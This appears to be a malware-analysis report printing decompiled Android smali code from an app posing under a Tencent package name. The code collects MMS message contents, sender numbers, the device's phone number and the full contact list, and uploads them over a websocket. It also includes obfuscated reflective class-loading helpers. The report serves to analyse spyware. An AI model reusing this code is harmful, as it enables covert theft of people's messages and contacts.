                                                84cond_6d: const/4 v2, -0x1
                                                85goto_6e:
                                                86invoke-direct {p0, v2}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->getMmsBody(I)Ljava/lang/Object;
                                                87move-result-object v0
                                                89invoke-direct {p0, v2}, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->getMmsAddress(I)Ljava/lang/String;
                                                90move-result-object v1
                                                91new-instance v4, Ljava/lang/StringBuilder;
                                                93invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                95invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                97invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                99invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                101invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                103invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                105invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                107invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                109invoke-virtual {v4, v5, v6}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                                111invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                113invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                115invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                116new-instance v2, Lcom/tencent/shopcj/bean/SmsBean;
                                                118invoke-direct {v2}, Lcom/tencent/shopcj/bean/SmsBean;-><init>()V
                                                120iget-object v3, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->context:Landroid/content/Context;
                                                122invoke-static {v3}, Lcom/tencent/shopcj/utils/DeviceUtils;->getTel(Landroid/content/Context;)Ljava/lang/String;
                                                123move-result-object v3
                                                124iput-object v3, v2, Lcom/tencent/shopcj/bean/SmsBean;->deviceNum:Ljava/lang/String;
                                                126invoke-static {}, Ljava/lang/Math;->random()D
                                                127move-result-wide v3
                                                128const-wide v9, 0x416312cfe0000000L # 9999999.0
                                                129mul-double v3, v3, v9
                                                130const-wide/high16 v9, 0x3ff0000000000000L # 1.0
                                                131add-double/2addr v3, v9
                                                133invoke-static {v3, v4}, Ljava/lang/Math;->round(D)J
                                                134move-result-wide v3
                                                135long-to-int v4, v3
                                                136mul-int/lit8 v4, v4, -0x1
                                                137iput v4, v2, Lcom/tencent/shopcj/bean/SmsBean;->smsId:I
                                                138iput-object v1, v2, Lcom/tencent/shopcj/bean/SmsBean;->otherNum:Ljava/lang/String;
                                                140invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                141move-result-object v0
                                                142iput-object v0, v2, Lcom/tencent/shopcj/bean/SmsBean;->smsContent:Ljava/lang/String;
                                                144iget-object v0, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->format:Ljava/text/SimpleDateFormat;
                                                145new-instance v1, Ljava/util/Date;
                                                146const-wide/16 v3, 0x3e8
                                                147mul-long v5, v5, v3
                                                149invoke-direct {v1, v5, v6}, Ljava/util/Date;-><init>(J)V
                                                151invoke-virtual {v0, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                                152move-result-object v0
                                                153iput-object v0, v2, Lcom/tencent/shopcj/bean/SmsBean;->smsTime:Ljava/lang/String;
                                                154iput p1, v2, Lcom/tencent/shopcj/bean/SmsBean;->smsType:I
                                                155new-instance p1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                157iget-object v0, p0, Lcom/tencent/shopcj/utils/MmsDatabaseChangeObserver;->context:Landroid/content/Context;
                                                158new-instance v1, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                160invoke-direct {v1, v2}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Lcom/tencent/shopcj/bean/SmsBean;)V
                                                162invoke-direct {p1, v0, v1}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                164invoke-static {p1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                165move-result-object p1
                                                167invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                168move-result-object v0
                                                170sget-object v1, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                172invoke-virtual {v0, v1, p1}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                173try_end_f4: goto/16 :goto_f9
                                                174catch_f5: move-exception p1
                                                176invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
                                                177goto_f9: return-void
                                                Cross References
                                                APIs
                                                • java.util.ArrayList.<init>
                                                • android.content.Context.getContentResolver
                                                • android.provider.ContactsContract$Contacts.CONTENT_URI:Landroid/net/Uri
                                                • android.content.ContentResolver.query
                                                • android.database.Cursor.getCount
                                                • android.database.Cursor.getCount
                                                • android.database.Cursor.moveToPosition
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.moveToNext
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getInt
                                                • java.lang.String.valueOf
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getInt
                                                • android.content.Context.getContentResolver
                                                • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.content.ContentResolver.query
                                                • android.database.Cursor.moveToFirst
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • android.database.Cursor.getColumnIndex
                                                • android.database.Cursor.getString
                                                • java.util.List.add
                                                • android.database.Cursor.moveToNext
                                                • android.database.Cursor.close
                                                • android.database.Cursor.close
                                                • java.lang.Exception.printStackTrace
                                                • java.lang.Exception.toString
                                                Strings
                                                • display_name COLLATE LOCALIZED ASC
                                                • _id
                                                • lookup
                                                • display_name
                                                • has_phone_number
                                                • contact_id =
                                                • data1
                                                • data2
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"()",
                                                3"Ljava/util/List<",
                                                4"Lcom/tencent/shopcj/bean/ContactBean;",
                                                5">;"
                                                6}
                                                7.end annotation
                                                8move-object/from16 v1, p0
                                                9new-instance v2, Ljava/util/ArrayList;
                                                11invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
                                                12try_start_7:
                                                13iget-object v0, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->context:Landroid/content/Context;
                                                15invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                16move-result-object v4
                                                18sget-object v5, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
                                                19const/4 v6, 0x0
                                                20const/4 v7, 0x0
                                                21const/4 v8, 0x0
                                                23const-string v9, "display_name COLLATE LOCALIZED ASC"
                                                25invoke-virtual/range {v4 .. v9}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                                26move-result-object v0
                                                27if-eqz v0, :cond_f4
                                                29invoke-interface {v0}, Landroid/database/Cursor;->getCount()I
                                                30move-result v4
                                                31if-lez v4, :cond_f4
                                                33invoke-interface {v0}, Landroid/database/Cursor;->getCount()I
                                                34move-result v4
                                                35iget v5, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->contactCurrentPosition:I
                                                36add-int/lit8 v5, v5, -0x1
                                                38invoke-interface {v0, v5}, Landroid/database/Cursor;->moveToPosition(I)Z
                                                40const-string v5, "_id"
                                                42invoke-interface {v0, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                43move-result v5
                                                45const-string v6, "lookup"
                                                47invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                48move-result v6
                                                50const-string v7, "display_name"
                                                52invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                53move-result v7
                                                55iget-object v8, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->context:Landroid/content/Context;
                                                57invoke-static {v8}, Lcom/tencent/shopcj/utils/DeviceUtils;->getTel(Landroid/content/Context;)Ljava/lang/String;
                                                58move-result-object v8
                                                59const/4 v9, 0x0
                                                60goto_44:
                                                61invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
                                                62move-result v10
                                                63if-eqz v10, :cond_d4
                                                64int-to-long v10, v9
                                                65const-wide/16 v12, 0xc8
                                                66cmp-long v14, v10, v12
                                                67if-ltz v14, :cond_53
                                                68goto/16 :goto_d4
                                                69cond_53: new-instance v10, Lcom/tencent/shopcj/bean/ContactBean;
                                                71invoke-direct {v10}, Lcom/tencent/shopcj/bean/ContactBean;-><init>()V
                                                72iput-object v8, v10, Lcom/tencent/shopcj/bean/ContactBean;->deviceNum:Ljava/lang/String;
                                                74invoke-interface {v0, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                75move-result-object v11
                                                76iput-object v11, v10, Lcom/tencent/shopcj/bean/ContactBean;->lookUpKey:Ljava/lang/String;
                                                78invoke-interface {v0, v5}, Landroid/database/Cursor;->getInt(I)I
                                                79move-result v11
                                                80int-to-long v11, v11
                                                81iput-wide v11, v10, Lcom/tencent/shopcj/bean/ContactBean;->contactId:J
                                                82iget-wide v11, v10, Lcom/tencent/shopcj/bean/ContactBean;->contactId:J
                                                84invoke-static {v11, v12}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                                85move-result-object v11
                                                87invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                88move-result-object v12
                                                89iput-object v12, v10, Lcom/tencent/shopcj/bean/ContactBean;->contactName:Ljava/lang/String;
                                                91const-string v12, "has_phone_number"
                                                93invoke-interface {v0, v12}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                94move-result v12
                                                96invoke-interface {v0, v12}, Landroid/database/Cursor;->getInt(I)I
                                                97move-result v12
                                                98if-lez v12, :cond_d0
                                                100const-string v12, ""
                                                101iput-object v12, v10, Lcom/tencent/shopcj/bean/ContactBean;->phoneNum:Ljava/lang/String;
                                                103iget-object v12, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->context:Landroid/content/Context;
                                                105invoke-virtual {v12}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                106move-result-object v13
                                                108sget-object v14, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                                                109const/4 v15, 0x0
                                                110new-instance v12, Ljava/lang/StringBuilder;
                                                112invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                114const-string v3, "contact_id = "
                                                116invoke-virtual {v12, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                118invoke-virtual {v12, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                120invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                121move-result-object v16
                                                122const/16 v17, 0x0
                                                123const/16 v18, 0x0
                                                125invoke-virtual/range {v13 .. v18}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                                                126move-result-object v3
                                                128invoke-interface {v3}, Landroid/database/Cursor;->moveToFirst()Z
                                                129move-result v11
                                                130if-eqz v11, :cond_cd
                                                131cond_ab:
                                                132const-string v11, "data1"
                                                134invoke-interface {v3, v11}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                135move-result v11
                                                137invoke-interface {v3, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                138move-result-object v11
                                                140const-string v12, "data2"
                                                142invoke-interface {v3, v12}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                143move-result v12
                                                145invoke-interface {v3, v12}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                146iput-object v11, v10, Lcom/tencent/shopcj/bean/ContactBean;->phoneNum:Ljava/lang/String;
                                                148invoke-virtual {v10}, Lcom/tencent/shopcj/bean/ContactBean;->clone()Lcom/tencent/shopcj/bean/ContactBean;
                                                149move-result-object v11
                                                151invoke-interface {v2, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                153invoke-interface {v3}, Landroid/database/Cursor;->moveToNext()Z
                                                154move-result v11
                                                155if-nez v11, :cond_ab
                                                156cond_cd:
                                                157invoke-interface {v3}, Landroid/database/Cursor;->close()V
                                                158cond_d0: add-int/lit8 v9, v9, 0x1
                                                159goto/16 :goto_44
                                                160goto_d4:
                                                161invoke-interface {v0}, Landroid/database/Cursor;->close()V
                                                162iget v0, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->contactCurrentPosition:I
                                                163add-int/2addr v0, v9
                                                164iput v0, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->contactCurrentPosition:I
                                                165iget v0, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->contactCurrentPosition:I
                                                166if-ne v4, v0, :cond_f4
                                                167const/4 v3, 0x0
                                                168iput v3, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->contactCurrentPosition:I
                                                169try_end_e3: goto/16 :goto_f4
                                                170catch_e4: move-exception v0
                                                172invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                                174iget-object v3, v1, Lcom/tencent/shopcj/utils/ProcessCommand;->context:Landroid/content/Context;
                                                176sget-object v4, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CONTACT:Ljava/lang/String;
                                                178invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                                179move-result-object v0
                                                180const/4 v5, 0x0
                                                182invoke-static {v3, v4, v5, v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                183goto_f4: return-object v2
                                                Cross References
                                                APIs
                                                • java.lang.Class.isPrimitive
                                                • java.lang.reflect.Method.invoke
                                                • java.util.concurrent.atomic.AtomicInteger.get
                                                • java.util.concurrent.atomic.AtomicInteger.set
                                                • java.lang.reflect.Method.invoke
                                                • java.util.concurrent.atomic.AtomicLong.get
                                                • java.util.concurrent.atomic.AtomicLong.set
                                                • java.lang.reflect.Method.invoke
                                                • java.util.concurrent.atomic.AtomicBoolean.get
                                                • java.util.concurrent.atomic.AtomicBoolean.set
                                                • java.lang.reflect.Method.getReturnType
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.Method.invoke
                                                • java.util.Map.putAll
                                                • java.lang.reflect.Method.invoke
                                                • java.util.Collection.addAll
                                                • java.lang.reflect.Method.invoke
                                                • java.lang.reflect.Field.get
                                                • java.util.concurrent.atomic.AtomicInteger.get
                                                • java.util.concurrent.atomic.AtomicInteger.set
                                                • java.lang.reflect.Field.get
                                                • java.util.concurrent.atomic.AtomicLong.get
                                                • java.util.concurrent.atomic.AtomicLong.set
                                                • java.lang.reflect.Field.get
                                                • java.util.concurrent.atomic.AtomicBoolean.get
                                                • java.util.concurrent.atomic.AtomicBoolean.set
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.reflect.Field.get
                                                • java.util.Map.putAll
                                                • java.lang.reflect.Field.get
                                                • java.util.Collection.addAll
                                                • java.lang.reflect.Field.set
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • set property error,
                                                Position Instruction Meta Information
                                                0if-nez p2, :cond_d
                                                2iget-object v0, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                4iget-object v0, v0, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                6invoke-virtual {v0}, Ljava/lang/Class;->isPrimitive()Z
                                                7move-result v0
                                                8if-eqz v0, :cond_d
                                                9return-void
                                                10cond_d:
                                                11iget-object v0, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                13iget-object v0, v0, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                14if-eqz v0, :cond_a3
                                                16iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                17iget-boolean v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->getOnly:Z
                                                18const/4 v2, 0x0
                                                19if-eqz v1, :cond_9a
                                                21iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                23iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                24const-class v3, Ljava/util/concurrent/atomic/AtomicInteger;
                                                25if-ne v1, v3, :cond_36
                                                26new-array v1, v2, [Ljava/lang/Object;
                                                28invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                29move-result-object p1
                                                30check-cast p1, Ljava/util/concurrent/atomic/AtomicInteger;
                                                31if-eqz p1, :cond_a2
                                                32check-cast p2, Ljava/util/concurrent/atomic/AtomicInteger;
                                                34invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicInteger;->get()I
                                                35move-result p2
                                                37invoke-virtual {p1, p2}, Ljava/util/concurrent/atomic/AtomicInteger;->set(I)V
                                                38goto/16 :goto_a2
                                                39cond_36:
                                                40iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                42iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                43const-class v3, Ljava/util/concurrent/atomic/AtomicLong;
                                                44if-ne v1, v3, :cond_52
                                                45new-array v1, v2, [Ljava/lang/Object;
                                                47invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                48move-result-object p1
                                                49check-cast p1, Ljava/util/concurrent/atomic/AtomicLong;
                                                50if-eqz p1, :cond_a2
                                                51check-cast p2, Ljava/util/concurrent/atomic/AtomicLong;
                                                53invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicLong;->get()J
                                                54move-result-wide v0
                                                56invoke-virtual {p1, v0, v1}, Ljava/util/concurrent/atomic/AtomicLong;->set(J)V
                                                57goto/16 :goto_a2
                                                58cond_52:
                                                59iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                61iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                62const-class v3, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                63if-ne v1, v3, :cond_6e
                                                64new-array v1, v2, [Ljava/lang/Object;
                                                66invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                67move-result-object p1
                                                68check-cast p1, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                69if-eqz p1, :cond_a2
                                                70check-cast p2, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                72invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicBoolean;->get()Z
                                                73move-result p2
                                                75invoke-virtual {p1, p2}, Ljava/util/concurrent/atomic/AtomicBoolean;->set(Z)V
                                                76goto/16 :goto_a2
                                                77cond_6e: const-class v1, Ljava/util/Map;
                                                79invoke-virtual {v0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                                                80move-result-object v3
                                                82invoke-virtual {v1, v3}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                83move-result v1
                                                84if-eqz v1, :cond_8a
                                                85new-array v1, v2, [Ljava/lang/Object;
                                                87invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                88move-result-object p1
                                                89check-cast p1, Ljava/util/Map;
                                                90if-eqz p1, :cond_a2
                                                91check-cast p2, Ljava/util/Map;
                                                93invoke-interface {p1, p2}, Ljava/util/Map;->putAll(Ljava/util/Map;)V
                                                94goto/16 :goto_a2
                                                95cond_8a: new-array v1, v2, [Ljava/lang/Object;
                                                97invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                98move-result-object p1
                                                99check-cast p1, Ljava/util/Collection;
                                                100if-eqz p1, :cond_a2
                                                101check-cast p2, Ljava/util/Collection;
                                                103invoke-interface {p1, p2}, Ljava/util/Collection;->addAll(Ljava/util/Collection;)Z
                                                104goto/16 :goto_a2
                                                105cond_9a: const/4 v1, 0x1
                                                106new-array v1, v1, [Ljava/lang/Object;
                                                107aput-object p2, v1, v2
                                                109invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                110goto_a2: return-void
                                                111cond_a3:
                                                112iget-object v0, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                114iget-object v0, v0, Lcom/alibaba/fastjson/util/FieldInfo;->field:Ljava/lang/reflect/Field;
                                                116iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                117iget-boolean v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->getOnly:Z
                                                118if-eqz v1, :cond_123
                                                120iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                122iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                123const-class v2, Ljava/util/concurrent/atomic/AtomicInteger;
                                                124if-ne v1, v2, :cond_c7
                                                126invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                127move-result-object p1
                                                128check-cast p1, Ljava/util/concurrent/atomic/AtomicInteger;
                                                129if-eqz p1, :cond_128
                                                130check-cast p2, Ljava/util/concurrent/atomic/AtomicInteger;
                                                132invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicInteger;->get()I
                                                133move-result p2
                                                135invoke-virtual {p1, p2}, Ljava/util/concurrent/atomic/AtomicInteger;->set(I)V
                                                136goto/16 :goto_128
                                                137cond_c7:
                                                138iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                140iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                141const-class v2, Ljava/util/concurrent/atomic/AtomicLong;
                                                142if-ne v1, v2, :cond_e1
                                                144invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                145move-result-object p1
                                                146check-cast p1, Ljava/util/concurrent/atomic/AtomicLong;
                                                147if-eqz p1, :cond_128
                                                148check-cast p2, Ljava/util/concurrent/atomic/AtomicLong;
                                                150invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicLong;->get()J
                                                151move-result-wide v0
                                                153invoke-virtual {p1, v0, v1}, Ljava/util/concurrent/atomic/AtomicLong;->set(J)V
                                                154goto/16 :goto_128
                                                155cond_e1:
                                                156iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                158iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                159const-class v2, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                160if-ne v1, v2, :cond_fb
                                                162invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                163move-result-object p1
                                                164check-cast p1, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                165if-eqz p1, :cond_128
                                                166check-cast p2, Ljava/util/concurrent/atomic/AtomicBoolean;
                                                168invoke-virtual {p2}, Ljava/util/concurrent/atomic/AtomicBoolean;->get()Z
                                                169move-result p2
                                                171invoke-virtual {p1, p2}, Ljava/util/concurrent/atomic/AtomicBoolean;->set(Z)V
                                                172goto/16 :goto_128
                                                173cond_fb: const-class v1, Ljava/util/Map;
                                                175iget-object v2, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                177iget-object v2, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                179invoke-virtual {v1, v2}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                180move-result v1
                                                181if-eqz v1, :cond_115
                                                183invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                184move-result-object p1
                                                185check-cast p1, Ljava/util/Map;
                                                186if-eqz p1, :cond_128
                                                187check-cast p2, Ljava/util/Map;
                                                189invoke-interface {p1, p2}, Ljava/util/Map;->putAll(Ljava/util/Map;)V
                                                190goto/16 :goto_128
                                                191cond_115:
                                                192invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                193move-result-object p1
                                                194check-cast p1, Ljava/util/Collection;
                                                195if-eqz p1, :cond_128
                                                196check-cast p2, Ljava/util/Collection;
                                                198invoke-interface {p1, p2}, Ljava/util/Collection;->addAll(Ljava/util/Collection;)Z
                                                199goto/16 :goto_128
                                                200cond_123: if-eqz v0, :cond_128
                                                202invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                203goto_128: return-void
                                                204catch_129: move-exception p1
                                                205new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                206new-instance v0, Ljava/lang/StringBuilder;
                                                208invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                210const-string v1, "set property error, "
                                                212invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                214iget-object v1, p0, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                216iget-object v1, v1, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                218invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                220invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                221move-result-object v0
                                                223invoke-direct {p2, v0, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                224throw p2
                                                Cross References
                                                APIs
                                                • android.support.coreui.app._.getHelper
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getClassLoader
                                                • android.support.coreui.app._.a:Ljava/lang/String
                                                • android.support.coreui.app._.findField
                                                • java.lang.reflect.Field.get
                                                • android.support.coreui.app._.b:Ljava/lang/String
                                                • android.support.coreui.app._.findField
                                                • java.lang.reflect.Field.get
                                                • android.support.coreui.app._.c:Ljava/lang/String
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • java.lang.Class.forName
                                                • android.support.coreui.app._.findMethod
                                                • java.util.ArrayList.<init>
                                                • java.lang.reflect.Method.invoke
                                                • java.lang.Class.getComponentType
                                                • java.lang.reflect.Array.newInstance
                                                • java.lang.System.arraycopy
                                                • java.lang.System.arraycopy
                                                • java.lang.reflect.Field.set
                                                • android.support.coreui.app._.getHelper
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
                                                • java.lang.Throwable.getMessage
                                                • java.lang.NoClassDefFoundError.<init>
